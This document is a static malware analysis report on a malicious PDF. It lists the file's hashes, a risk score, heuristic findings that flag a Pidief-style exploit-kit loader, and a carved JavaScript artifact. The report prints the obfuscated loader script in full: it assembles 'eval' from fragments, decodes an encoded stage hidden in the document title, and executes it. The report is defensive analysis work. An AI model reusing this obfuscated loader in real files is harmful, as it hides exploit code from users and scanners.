Malicious PDF — malware analysis report

Static analysis result for SHA-256 2e58103719d03d83…

MALICIOUS

PDF

44.7 KB First seen: 2026-05-08
MD5: 5121ba943ccbf54d9ae7613e4e804bb0 SHA-1: fca2ed77b9ab1c4dccae8238bb7d25fd54f61c02 SHA-256: 2e58103719d03d83742c9c0edf55c7f5f6a6a55095f0636c30099bcff76224ee
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB026 482 bytes
SHA-256: 5a6774dc042794f58456c30efb3e30cbd6e8c15a3a80bc1a024433aa9643e72a
Preview script
First 1,000 lines of the extracted script
dny='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+b+a[1]+(a,t[0])];
cbin=e('ti'+'tle');
s=cbin.substr(t.length + 8,3)+'str';
q=cbin[s](1,(1,t.length + 7));
qxx=e('S'+'tring.fro'+q);
q=cbin[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	rhtb = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	dny += qxx(rhtb);
}
e(dny);

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